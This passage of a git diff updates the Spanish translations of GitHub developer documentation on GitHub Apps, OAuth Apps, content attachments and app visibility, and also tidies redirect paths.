+* ¿Mi integración actuará únicamente como yo, o actuará más como una aplicación?
+* ¿Quiero que actúe independientemente de mí como su propia entidad?
+* ¿Accederá a todo lo que yo puedo acceder, o quiero limitar su acceso?
+* ¿Es simple o compleja? Por ejemplo, los tokens de acceso personal sirven bien para scripts simples y cURLs, mientras que una {% data variables.product.prodname_oauth_app %} puede manejar scripts más complejos.
 
-## Requesting support
+## Solicitar soporte
 
 {% data reusables.support.help_resources %}
diff --git a/translations/es-ES/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md b/translations/es-ES/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
index 779320db15..e7cbd11cc8 100644
--- a/translations/es-ES/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
+++ b/translations/es-ES/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
@@ -2,8 +2,8 @@
 title: Diferencias entre GitHub Apps y Apps de OAuth
 intro: 'El entender las diferencias entre las {% data variables.product.prodname_github_apps %} y las {% data variables.product.prodname_oauth_apps %} te ayudará a decidir qué app quieres crear. Una {% data variables.product.prodname_oauth_app %} actúa como un usuario de Github, mientras que una {% data variables.product.prodname_github_app %} utiliza su propia identidad cuando se instala en una organización o en repositorios dentro de una organización.'
 redirect_from:
-  - /early-access/integrations/integrations-vs-oauth-applications/
-  - /apps/building-integrations/setting-up-a-new-integration/about-choosing-an-integration-type/
+  - /early-access/integrations/integrations-vs-oauth-applications
+  - /apps/building-integrations/setting-up-a-new-integration/about-choosing-an-integration-type
   - /apps/differences-between-apps
   - /developers/apps/differences-between-github-apps-and-oauth-apps
 versions:
@@ -96,10 +96,10 @@ A diferencia de las apps de OAuth, las GitHub Apps tiene permisos específicos q
 
 ## Acceso a Git
 
-| GitHub Apps                                                                                                                                                                                                                                                     | OAuth Apps                                                                                                                                                                                                               |
-| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| Las GitHub Apps solicitan permiso a los contenidos del repositorio y utilizan tu token de instalación para autenticarte a través de [Git basado en HTTP](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation). | Las Apps de OAuth piden el alcance `write:public_key` y [Crean una llave de despliegue](/rest/reference/repos#create-a-deploy-key) a través de la API. Entonces puedes utilizar esa llave para ejecutar comandos de Git. |
-| El token se utiliza como la contraseña HTTP.                                                                                                                                                                                                                    | El token se utiliza como el nombre de usuario HTTP.                                                                                                                                                                      |
+| GitHub Apps                                                                                                                                                                                                                                                     | OAuth Apps                                                                                                                                                                                                                     |
+| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| Las GitHub Apps solicitan permiso a los contenidos del repositorio y utilizan tu token de instalación para autenticarte a través de [Git basado en HTTP](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation). | Las Apps de OAuth piden el alcance `write:public_key` y [Crean una llave de despliegue](/rest/reference/deployments#create-a-deploy-key) a través de la API. Entonces puedes utilizar esa llave para ejecutar comandos de Git. |
+| El token se utiliza como la contraseña HTTP.                                                                                                                                                                                                                    | El token se utiliza como el nombre de usuario HTTP.                                                                                                                                                                            |
 
 ## Cuentas de máquina vs cuentas de bot
 
diff --git a/translations/es-ES/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md b/translations/es-ES/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md
index 323d204d29..8a9167f161 100644
--- a/translations/es-ES/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md
+++ b/translations/es-ES/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md
@@ -99,7 +99,7 @@ Necesitarás reemplazar a `YOUR_APP_NAME` con el nombre de tu GitHub App, a `ID_
 
 ### Eliminar cualquier gancho innecesario en los repositorios
 
-Una vez que ti GitHub App se haya instalado en un repositorio, deberías eliminar cualquier webhook innecesario que haya creado tu App tradicional de OAuth. Si ambas apps están instaladas en un repositorio, puede que se duplique la funcionalidad para el usuario. Para eliminar los webhooks, puedes escuchar al [webhook de `installation_repositories`](/webhooks/event-payloads/#installation_repositories) con la acción `repositories_added` y al [webhook para borrar un repositorio](/rest/reference/repos#delete-a-repository-webhook) en los repositorios que creó tu App de OAuth.
+Una vez que ti GitHub App se haya instalado en un repositorio, deberías eliminar cualquier webhook innecesario que haya creado tu App tradicional de OAuth. Si ambas apps están instaladas en un repositorio, puede que se duplique la funcionalidad para el usuario. Para eliminar los webhooks, puedes escuchar al [webhook de `installation_repositories`](/webhooks/event-payloads/#installation_repositories) con la acción `repositories_added` y al [webhook para borrar un repositorio](/rest/reference/webhooks#delete-a-repository-webhook) en los repositorios que creó tu App de OAuth.
 
 ### Animar a los usuarios a que revoquen el acceso a tu App de OAuth
 
diff --git a/translations/es-ES/content/developers/apps/guides/index.md b/translations/es-ES/content/developers/apps/guides/index.md
index 3011667a26..51d1fff4f1 100644
--- a/translations/es-ES/content/developers/apps/guides/index.md
+++ b/translations/es-ES/content/developers/apps/guides/index.md
@@ -1,6 +1,6 @@
 ---
 title: Guías
-intro: 'Learn about using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API with your app, continuous integration, and how to build with apps.'
+intro: 'Aprende cómo utilizar la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} con tu app, integración continua y cómo compilar con apps.'
 redirect_from:
   - /apps/quickstart-guides
 versions:
diff --git a/translations/es-ES/content/developers/apps/guides/using-content-attachments.md b/translations/es-ES/content/developers/apps/guides/using-content-attachments.md
index 8b8ddf5c68..a9bfb704b5 100644
--- a/translations/es-ES/content/developers/apps/guides/using-content-attachments.md
+++ b/translations/es-ES/content/developers/apps/guides/using-content-attachments.md
@@ -1,42 +1,43 @@
 ---
-title: Using content attachments
-intro: Content attachments allow a GitHub App to provide more information in GitHub for URLs that link to registered domains. GitHub renders the information provided by the app under the URL in the body or comment of an issue or pull request.
+title: Utilizar adjuntos de contenido
+intro: Los adjuntos de contenido permiten que una GitHub App proporcione más información en GitHub para las URL que vinculan a los dominios registrados. GitHub interpreta la información que proporciona la app bajo la URL en el cuerpo o el comentario de un informe de problemas o de una solicitud de extracción.
 redirect_from:
   - /apps/using-content-attachments
   - /developers/apps/using-content-attachments
 versions:
-  ghes: '<3.4'
+  ghes: <3.4
 topics:
   - GitHub Apps
 ---
+
 {% data reusables.pre-release-program.content-attachments-public-beta %}
 
-## About content attachments
+## Acerca de los adjuntos de contenido
 
-A GitHub App can register domains that will trigger `content_reference` events. When someone includes a URL that links to a registered domain in the body or comment of an issue or pull request, the app receives the [`content_reference` webhook](/webhooks/event-payloads/#content_reference). You can use content attachments to visually provide more context or data for the URL added to an issue or pull request. The URL must be a fully-qualified URL, starting with either `http://` or `https://`. URLs that are part of a markdown link are ignored and don't trigger the `content_reference` event.
+Una GitHub App puede registrar dominios que activarán los eventos de `content_reference`. Cuando alguien incluye una URL que vincule a un dominio registrado en el cuerpo o en el comentario de un informe de problemas o de una solicitud de extracción, la app recibe el [webhook de `content_reference`](/webhooks/event-payloads/#content_reference). Puedes utilizar los adjuntos de contenido para proporcionar visualmente más contenido o datos para la URL que se agregó a un informe de problemas o a una solicitud de extracción. La URL debe estar completamente calificada, comenzando ya sea con `http://` o con `https://`. Las URL que sean parte de un enlace de markdown se ignorarán y no activarán el evento de `content_reference`.
 
-Before you can use the {% data variables.product.prodname_unfurls %} API, you'll need to configure content references for your GitHub App:
-* Give your app `Read & write` permissions for "Content references."
-* Register up to 5 valid, publicly accessible domains when configuring the "Content references" permission. Do not use IP addresses when configuring content reference domains. You can register a domain name (example.com) or a subdomain (subdomain.example.com).
-* Subscribe your app to the "Content reference" event.
+Antes de que puedas utilizar la API de {% data variables.product.prodname_unfurls %}, necesitarás configurar las referencias de contenido para tu GitHub App:
+* Concede los permisos de `Read & write` a tu app para "Referencias de contenido".
+* Registra hasta 5 dominios válidos y accesibles al público cuando configures el permiso de "Referencias de contenido". No utilices direcciones IP cuando configures dominios con referencias de contenido. Puedes registrar un nombre de dominio (ejemplo.com) o un subdominio (subdominio.ejemplo.com).
+* Suscribe a tu app al evento de "Referencia de contenido".
 
-Once your app is installed on a repository, issue or pull request comments in the repository that contain URLs for your registered domains will generate a content reference event. The app must create a content attachment within six hours of the content reference URL being posted.
+Una vez que tu app se instale en un repositorio, los comentarios de solicitudes de extracción o de informes de problemas en éste, los cuales contengan URL para tus dominios registrados, generarán un evento de referencia de contenido. La app debe crear un adjunto de contenido en las seis horas siguientes a la publicación de la URL de referencia de contenido.
 
-Content attachments will not retroactively update URLs. It only works for URLs added to issues or pull requests after you configure the app using the requirements outlined above and then someone installs the app on their repository.
+Los adjuntos de contenido no actualizarán las URL retroactivamente. Esto solo funciona para aquellas URL que se agerguen a las solicitudes de extracción o informes de problemas después de que configuras la app utilizando los requisitos descritos anteriormente y que después alguien instale la app en su repositorio.
 
-See "[Creating a GitHub App](/apps/building-github-apps/creating-a-github-app/)" or "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" for the steps needed to configure GitHub App permissions and event subscriptions.
+Consulta la sección "[Crear una GitHub App](/apps/building-github-apps/creating-a-github-app/)" o "[Editar los permisos de las GitHub Apps](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" para encontrar los pasos necesarios para configurar los permisos de las GitHub Apps y las suscripciones a eventos.
 
-## Implementing the content attachment flow
+## Implementar el flujo de los adjuntos de contenido
 
-The content attachment flow shows you the relationship between the URL in the issue or pull request, the `content_reference` webhook event, and the REST API endpoint you need to call to update the issue or pull request with additional information:
+El flujo de los adjuntos de contenido te muestra la relación entre la URL en el informe de problemas o en la solicitud de extracción, el evento de webhook de `content_reference`, y la terminal de la API de REST que necesitas para llamar o actualizar dicho informe de problemas o solicitud de extracción con información adicional:
 
-**Step 1.** Set up your app using the guidelines outlined in [About content attachments](#about-content-attachments). You can also use the [Probot App example](#example-using-probot-and-github-app-manifests) to get started with content attachments.
+**Paso 1.** Configura tu app utilizando los lineamientos descritos en la sección [Acerca de los adjuntos de contenido](#about-content-attachments). También puedes utilizar el [ejemplo de la App de Probot](#example-using-probot-and-github-app-manifests) para iniciar con los adjuntos de contenido.
 
-**Step 2.** Add the URL for the domain you registered to an issue or pull request. You must use a fully qualified URL that starts with `http://` or `https://`.
+**Paso 2.** Agrega la URL para el dominio que registraste a un informe de problemas o solicitud de extracción. Debes utilizar una URL totalmente calificada que comience con `http://` o con `https://`.
 
-![URL added to an issue](/assets/images/github-apps/github_apps_content_reference.png)
+![URL que se agregó a un informe de problemas](/assets/images/github-apps/github_apps_content_reference.png)
 
-**Step 3.** Your app will receive the [`content_reference` webhook](/webhooks/event-payloads/#content_reference) with the action `created`.
+**Paso 3.** Tu app recibirá el [webhook de `content_reference`](/webhooks/event-payloads/#content_reference) con la acción `created`.
 
 ``` json
 {
@@ -57,12 +58,12 @@ The content attachment flow shows you the relationship between the URL in the is
 }
 ```
 
-**Step 4.** The app uses the `content_reference` `id` and `repository` `full_name` fields to [Create a content attachment](/rest/reference/apps#create-a-content-attachment) using the REST API. You'll also need the `installation` `id` to authenticate as a [GitHub App installation](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
+**Paso 4.** La app utiliza los campos de la `id` de `content_reference` y del `full_name` del `repository` para [Crear un adjunto de contenido ](/rest/reference/apps#create-a-content-attachment) utilizando la API de REST. También necesitas la `id` de la `installation` para autenticarte como una [Instalación de una GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
 
 {% data reusables.pre-release-program.corsair-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
 
-The `body` parameter can contain markdown:
+El parámetro `body` puede contener lenguaje de markdown:
 
 ```shell
 curl -X POST \
@@ -70,24 +71,24 @@ curl -X POST \
   -H 'Accept: application/vnd.github.corsair-preview+json' \
   -H 'Authorization: Bearer $INSTALLATION_TOKEN' \
   -d '{
-	"title": "[A-1234] Error found in core/models.py file",
-	"body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()"
+    "title": "[A-1234] Error found in core/models.py file",
+    "body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()"
 }'
 ```
 
-For more information about creating an installation token, see "[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)."
+Para obtener más información acerca de crear un token de instalación, consulta la sección "[Autenticarte como una GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)".
 
-**Step 5.** You'll see the new content attachment appear under the link in a pull request or issue comment:
+**Paso 5.** Verás como el nuevo adjunto de contenido aparece bajo el enlace en un comentario de una solicitud de extracción o informe de problemas:
 
-![Content attached to a reference in an issue](/assets/images/github-apps/content_reference_attachment.png)
+![Contenido adjunto a una referencia en un informe de problemas](/assets/images/github-apps/content_reference_attachment.png)
 
-## Using content attachments in GraphQL
-We provide the `node_id` in the [`content_reference` webhook](/webhooks/event-payloads/#content_reference) event so you can refer to the `createContentAttachment` mutation in the GraphQL API.
+## Utilizar adjuntos de contenido en GraphQL
+Proporcionamos la `node_id` en el evento de [Webhook de `content_reference` ](/webhooks/event-payloads/#content_reference) para que puedas referirte a la mutación `createContentAttachment` en la API de GraphQL.
 
 {% data reusables.pre-release-program.corsair-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
 
-For example:
+Por ejemplo:
 
 ``` graphql
 mutation {
@@ -106,7 +107,7 @@ mutation {
   }
 }
 ```
-Example cURL:
+cURL de ejemplo:
 
 ```shell
 curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \
@@ -118,16 +119,16 @@ curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \
 }'
 ```
 
-For more information on `node_id`, see "[Using Global Node IDs]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)."
+Para obtener más información aacerca de `node_id`, consulta la sección "[Utilizar las Node ID Globales]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)".
 
-## Example using Probot and GitHub App Manifests
+## Ejemplo de uso con Probot y Manifiestos de GitHub Apps
 
-To quickly setup a GitHub App that can use the {% data variables.product.prodname_unfurls %} API, you can use [Probot](https://probot.github.io/). See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" to learn how Probot uses GitHub App Manifests.
+Para configurar rápidamente una GitHub App que pueda utilizar la API de {% data variables.product.prodname_unfurls %}, puedes utilizar el [Probot](https://probot.github.io/). Consulta la sección "[Crear Github Apps a partir de un manifiesto](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" para aprender cómo el Probot utiliza los Manifiestos de las GitHub Apps.
 
-To create a Probot App, follow these steps:
+Para crear una App de Probot, sigue estos pasos:
 
-1. [Generate a new GitHub App](https://probot.github.io/docs/development/#generating-a-new-app).
-2. Open the project you created, and customize the settings in the `app.yml` file. Subscribe to the `content_reference` event and enable `content_references` write permissions:
+1. [Genera una GitHub App Nueva](https://probot.github.io/docs/development/#generating-a-new-app).
+2. Abre el proyecto que creaste y personaliza la configuración en el archivo `app.yml`. Suscríbete al evento `content_reference` y habilita los permisos de escritura de `content_references`:
 
    ``` yml
     default_events:
@@ -146,7 +147,7 @@ To create a Probot App, follow these steps:
         value: example.org
    ```
 
-3. Add this code to the `index.js` file to handle `content_reference` events and call the REST API:
+3. Agrega este código al archivo `index.js` para gestionar los eventos de `content_reference` y llamar a la API de REST:
 
     ``` javascript
     module.exports = app => {
@@ -167,13 +168,13 @@ To create a Probot App, follow these steps:
     }
     ```
 
-4. [Run the GitHub App locally](https://probot.github.io/docs/development/#running-the-app-locally). Navigate to `http://localhost:3000`, and click the **Register GitHub App** button:
+4. [Ejecuta la GitHub App localmente](https://probot.github.io/docs/development/#running-the-app-locally). Navega hasta `http://localhost:3000`, y da clic en el botón **Registrar GitHub App**:
 
-   ![Register a Probot GitHub App](/assets/images/github-apps/github_apps_probot-registration.png)
+   ![Registrar una GitHub App de Probot](/assets/images/github-apps/github_apps_probot-registration.png)
 
-5. Install the app on a test repository.
-6. Create an issue in your test repository.
-7. Add a comment to the issue you opened that includes the URL you configured in the `app.yml` file.
-8. Take a look at the issue comment and you'll see an update that looks like this:
+5. Instala la app en un repositorio de prueba.
+6. Crea un informe de problemas en tu repositorio de prueba.
+7. Agrega un comentario en el informe de problemas que abriste, el cual incluya la URL que configuraste en el archivo `app.yml`.
+8. Revisa el comentario del informe de problemas y verás una actualización que se ve así:
 
-   ![Content attached to a reference in an issue](/assets/images/github-apps/content_reference_attachment.png)
+   ![Contenido adjunto a una referencia en un informe de problemas](/assets/images/github-apps/content_reference_attachment.png)
diff --git a/translations/es-ES/content/developers/apps/guides/using-the-github-api-in-your-app.md b/translations/es-ES/content/developers/apps/guides/using-the-github-api-in-your-app.md
index eea6484360..a0155e768e 100644
--- a/translations/es-ES/content/developers/apps/guides/using-the-github-api-in-your-app.md
+++ b/translations/es-ES/content/developers/apps/guides/using-the-github-api-in-your-app.md
@@ -2,7 +2,7 @@
 title: Utilizar la API de GitHub en tu app
 intro: Aprende cómo configurar tu app para que escuche los eventos y utilice la biblioteca de Octokit para hacer operaciones de la API de REST.
 redirect_from:
-  - /apps/building-your-first-github-app/
+  - /apps/building-your-first-github-app
   - /apps/quickstart-guides/using-the-github-api-in-your-app
   - /developers/apps/using-the-github-api-in-your-app
 versions:
diff --git a/translations/es-ES/content/developers/apps/index.md b/translations/es-ES/content/developers/apps/index.md
index a7b9e15af8..59a0f2b5c3 100644
--- a/translations/es-ES/content/developers/apps/index.md
+++ b/translations/es-ES/content/developers/apps/index.md
@@ -2,11 +2,11 @@
 title: Aplicaciones
 intro: Puedes automatizar y transmitir tu flujo de trabajo si creas tus propias apps.
 redirect_from:
-  - /early-access/integrations/
-  - /early-access/integrations/authentication/
-  - /early-access/integrations/install-an-integration/
-  - /apps/adding-integrations/
-  - /apps/building-integrations/setting-up-a-new-integration/about-integrations/
+  - /early-access/integrations
+  - /early-access/integrations/authentication
+  - /early-access/integrations/install-an-integration
+  - /apps/adding-integrations
+  - /apps/building-integrations/setting-up-a-new-integration/about-integrations
   - /apps
   - /v3/integrations
 versions:
diff --git a/translations/es-ES/content/developers/apps/managing-github-apps/deleting-a-github-app.md b/translations/es-ES/content/developers/apps/managing-github-apps/deleting-a-github-app.md
index 6e8c2b8ac2..623a47d8d3 100644
--- a/translations/es-ES/content/developers/apps/managing-github-apps/deleting-a-github-app.md
+++ b/translations/es-ES/content/developers/apps/managing-github-apps/deleting-a-github-app.md
@@ -2,7 +2,7 @@
 title: Borrar una GitHub App
 intro: '{% data reusables.shortdesc.deleting_github_apps %}'
 redirect_from:
-  - /apps/building-integrations/managing-github-apps/deleting-a-github-app/
+  - /apps/building-integrations/managing-github-apps/deleting-a-github-app
   - /apps/managing-github-apps/deleting-a-github-app
   - /developers/apps/deleting-a-github-app
 versions:
diff --git a/translations/es-ES/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md b/translations/es-ES/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
index 2676387825..cadc5336ff 100644
--- a/translations/es-ES/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
+++ b/translations/es-ES/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
@@ -2,7 +2,7 @@
 title: Editar los permisos de una GitHub App
 intro: '{% data reusables.shortdesc.editing_permissions_for_github_apps %}'
 redirect_from:
-  - /apps/building-integrations/managing-github-apps/editing-a-github-app-s-permissions/
+  - /apps/building-integrations/managing-github-apps/editing-a-github-app-s-permissions
   - /apps/managing-github-apps/editing-a-github-app-s-permissions
   - /developers/apps/editing-a-github-apps-permissions
 versions:
diff --git a/translations/es-ES/content/developers/apps/managing-github-apps/index.md b/translations/es-ES/content/developers/apps/managing-github-apps/index.md
index 370ebffba9..e6ffa3c34a 100644
--- a/translations/es-ES/content/developers/apps/managing-github-apps/index.md
+++ b/translations/es-ES/content/developers/apps/managing-github-apps/index.md
@@ -2,7 +2,7 @@
 title: Adminsitrar las GitHub Apps
 intro: 'Después de que creas y registras una GitHub App, puedes hacer modificaciones a la misma, cambiar sus permisos, transferir la propiedad, y borrarla.'
 redirect_from:
-  - /apps/building-integrations/managing-github-apps/
+  - /apps/building-integrations/managing-github-apps
   - /apps/managing-github-apps
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md b/translations/es-ES/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
index c8409c004a..610b67dabc 100644
--- a/translations/es-ES/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
+++ b/translations/es-ES/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
@@ -1,11 +1,11 @@
 ---
-title: Making a GitHub App public or private
+title: Hacer pública o privada a una GitHub App
 intro: '{% data reusables.shortdesc.making-a-github-app-public-or-private %}'
 redirect_from:
-  - /apps/building-integrations/setting-up-and-registering-github-apps/about-installation-options-for-github-apps/
-  - /apps/building-github-apps/installation-options-for-github-apps/
-  - /apps/building-integrations/managing-github-apps/changing-a-github-app-s-installation-option/
-  - /apps/managing-github-apps/changing-a-github-app-s-installation-option/
+  - /apps/building-integrations/setting-up-and-registering-github-apps/about-installation-options-for-github-apps
+  - /apps/building-github-apps/installation-options-for-github-apps
+  - /apps/building-integrations/managing-github-apps/changing-a-github-app-s-installation-option
+  - /apps/managing-github-apps/changing-a-github-app-s-installation-option
   - /apps/managing-github-apps/making-a-github-app-public-or-private
   - /developers/apps/making-a-github-app-public-or-private
 versions:
@@ -15,29 +15,27 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Manage app visibility
+shortTitle: Administrar la visbilidad de las apps
 ---
-For authentication information, see "[Authenticating with GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)."
 
-## Public installation flow
+Para obtener información sobre la autenticación, consulta la sección "[Autenticarse con las GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)".
 
-Public installation flows have a landing page to enable other people besides the app owner to install the app in their repositories. This link is provided in the "Public link" field when setting up your GitHub App. For more information, see "[Installing GitHub Apps](/apps/installing-github-apps/)."
+## Flujo de instalación pública
 
-## Private installation flow
+Los flujos de las instalaciones públicas tienen una página de llegada para habilitar a otras personas además del propietario de la app para que la instalen en sus repositorios. Este enlace se proprociona en el campo "enlace público" cuando configuras tu GitHub App. Para obtener más información, consulta la sección "[Instalar las GitHub Apps](/apps/installing-github-apps/)".
 
-Private installation flows allow only the owner of a GitHub App to install it. Limited information about the GitHub App will still exist on a public page, but the **Install** button will only be available to organization administrators or the user account if the GitHub App is owned by an individual account. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Private {% else %}Private (also known as internal){% endif %} GitHub Apps can only be installed on the user or organization account of the owner.
+## Flujo de instalación privada
 
-## Changing who can install your GitHub App
+Los flujos de instalación privada permiten que solo el propietario de la GitHub App pueda instalarla. Aún así, existirá información limitada sobre la GitHub App en una página pública, pero el botón de **Instalar** solo estará disponible para los administradores de la organización o para la cuenta de usuario si dicha GitHub App le pertenece a una cuenta individual. Las GitHub Apps {% ifversion fpt or ghes > 3.1 or ghae or ghec %}privadas {% else %}privadas (también conocidas como internas){% endif %} solo pueden instalarse en la cuenta de usuario u organización del propietario.
 
-To change who can install the GitHub App:
+## Cambiar el quién puede instalar tu GitHub App
+
+Para cambiar quién puede instalar una GitHub App:
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-3. Select the GitHub App whose installation option you want to change.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
+3. Selecciona la GitHub App cuya opción de instalación quieras cambiar. ![Seleccion de apps](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.github_apps_advanced %}
-5. Depending on the installation option of your GitHub App, click either **Make public** or **Make {% ifversion fpt or ghes > 3.1 or ghae or ghec %}private{% else %}internal{% endif %}**.
-![Button to change the installation option of your GitHub App](/assets/images/github-apps/github_apps_make_public.png)
-6. Depending on the installation option of your GitHub App, click either **Yes, make this GitHub App public** or **Yes, make this GitHub App {% ifversion fpt or ghes < 3.2 or ghec %}internal{% else %}private{% endif %}**.
-![Button to confirm the change of your installation option](/assets/images/github-apps/github_apps_confirm_installation_option.png)
+5. Dependiendo de la opción de instalación de tu GitHub App, haz clic ya sea en **Hacer pública** o **Hacer{% ifversion fpt or ghes > 3.1 or ghae or ghec %}privada{% else %}interna{% endif %}**. ![Botón para cambiar la opción de instalación para tu GitHub App](/assets/images/github-apps/github_apps_make_public.png)
+6. Dependiendo de la opción de instalación de tu GitHub App, haz clic ya sea en **Sí, hacer esta GitHub App pública** o **Sí, hacer esta GitHub App {% ifversion fpt or ghes < 3.2 or ghec %}interna{% else %}privada{% endif %}**. ![Botón para confirmar el cambio de tu opción de instalación](/assets/images/github-apps/github_apps_confirm_installation_option.png)
diff --git a/translations/es-ES/content/developers/apps/managing-github-apps/modifying-a-github-app.md b/translations/es-ES/content/developers/apps/managing-github-apps/modifying-a-github-app.md
index 805833900b..8551ea83bf 100644
--- a/translations/es-ES/content/developers/apps/managing-github-apps/modifying-a-github-app.md
+++ b/translations/es-ES/content/developers/apps/managing-github-apps/modifying-a-github-app.md
@@ -2,7 +2,7 @@
 title: Modificar una GitHub App
 intro: '{% data reusables.shortdesc.modifying_github_apps %}'
 redirect_from:
-  - /apps/building-integrations/managing-github-apps/modifying-a-github-app/
+  - /apps/building-integrations/managing-github-apps/modifying-a-github-app
   - /apps/managing-github-apps/modifying-a-github-app
   - /developers/apps/modifying-a-github-app
 versions:
diff --git a/translations/es-ES/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md b/translations/es-ES/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
index 12e47f63ac..d031717340 100644
--- a/translations/es-ES/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
+++ b/translations/es-ES/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
@@ -2,7 +2,7 @@
 title: Transferir la propiedad de una GitHub App
 intro: '{% data reusables.shortdesc.transferring_ownership_of_github_apps %}'
 redirect_from:
-  - /apps/building-integrations/managing-github-apps/transferring-ownership-of-a-github-app/
+  - /apps/building-integrations/managing-github-apps/transferring-ownership-of-a-github-app
   - /apps/managing-github-apps/transferring-ownership-of-a-github-app
   - /developers/apps/transferring-ownership-of-a-github-app
 versions:
diff --git a/translations/es-ES/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md b/translations/es-ES/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
index db5769aedf..d2965cfa77 100644
--- a/translations/es-ES/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
+++ b/translations/es-ES/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
@@ -2,7 +2,7 @@
 title: Borrar una App de OAuth
 intro: '{% data reusables.shortdesc.deleting_oauth_apps %}'
 redirect_from:
-  - /apps/building-integrations/managing-oauth-apps/deleting-an-oauth-app/
+  - /apps/building-integrations/managing-oauth-apps/deleting-an-oauth-app
   - /apps/managing-oauth-apps/deleting-an-oauth-app
   - /developers/apps/deleting-an-oauth-app
 versions:
diff --git a/translations/es-ES/content/developers/apps/managing-oauth-apps/index.md b/translations/es-ES/content/developers/apps/managing-oauth-apps/index.md
index c4bd639a10..87e14057cc 100644
--- a/translations/es-ES/content/developers/apps/managing-oauth-apps/index.md
+++ b/translations/es-ES/content/developers/apps/managing-oauth-apps/index.md
@@ -2,7 +2,7 @@
 title: Adminsitrar las Apps de OAuth
 intro: 'Después de que creas y registras una App de OAuth, puedes hacerle modificaciones, cambiar sus permisos, transferir su propiedad y borrarla.'
 redirect_from:
-  - /apps/building-integrations/managing-oauth-apps/
+  - /apps/building-integrations/managing-oauth-apps
   - /apps/managing-oauth-apps
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md b/translations/es-ES/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
index b48221721c..071091ad8e 100644
--- a/translations/es-ES/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
+++ b/translations/es-ES/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
@@ -2,7 +2,7 @@
 title: Modificar una App de OAuth
 intro: '{% data reusables.shortdesc.modifying_oauth_apps %}'
 redirect_from:
-  - /apps/building-integrations/managing-oauth-apps/modifying-an-oauth-app/
+  - /apps/building-integrations/managing-oauth-apps/modifying-an-oauth-app
   - /apps/managing-oauth-apps/modifying-an-oauth-app
   - /developers/apps/modifying-an-oauth-app
 versions:
diff --git a/translations/es-ES/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md b/translations/es-ES/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
index b17c1e9392..a2ced16019 100644
--- a/translations/es-ES/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
